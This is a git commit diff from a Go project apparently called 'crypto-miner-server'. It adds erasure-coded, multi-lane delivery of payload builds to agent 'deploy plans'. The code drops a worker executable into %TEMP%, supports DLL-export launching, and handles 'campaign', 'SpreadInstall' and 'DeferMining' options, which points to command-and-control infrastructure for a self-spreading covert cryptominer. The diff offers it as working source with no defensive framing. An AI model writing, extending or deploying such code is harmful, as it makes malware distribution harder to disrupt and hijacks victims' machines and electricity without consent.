Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
AetherForge
2026-06-07 06:09:20 -07:00
parent 39b935aeb6
commit 0445b7ed4f
39 changed files with 1379 additions and 72 deletions

View File

@@ -13,6 +13,7 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
@@ -70,6 +71,7 @@ type DeployPlanBody struct {
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
}
type deployPlanRequest struct {
@@ -98,8 +100,10 @@ type DeployPlanHandler struct {
projectRoot string
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
// BindErasure wires ReedSolomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled
h.erasureShards = store
}
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
h.erasureShards = store
if hub == nil {
return
}
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
return body, nil
}
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
return nil
}
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return err
}
payload, err := os.ReadFile(build.FilePath)
if err != nil {
return fmt.Errorf("erasure read build: %w", err)
}
dest := `%TEMP%\AetherForge\worker.exe`
launch := "exe"
dllExport := ""
if body.Manifest != nil {
if body.Manifest.Dest != "" {
dest = body.Manifest.Dest
}
if body.Manifest.Launch != "" {
launch = body.Manifest.Launch
}
dllExport = body.Manifest.DLLExport
}
deferMining := true
spreadInstall := true
if body.Manifest != nil {
deferMining = body.Manifest.DeferMining
spreadInstall = body.Manifest.SpreadInstall
}
plan, err := erasure.BuildPlan(
h.erasureShards, serverURL, buildID, req.Campaign, payload,
dest, launch, dllExport, deferMining, spreadInstall,
)
if err != nil {
return err
}
body.ErasurePlan = plan
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
return nil
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil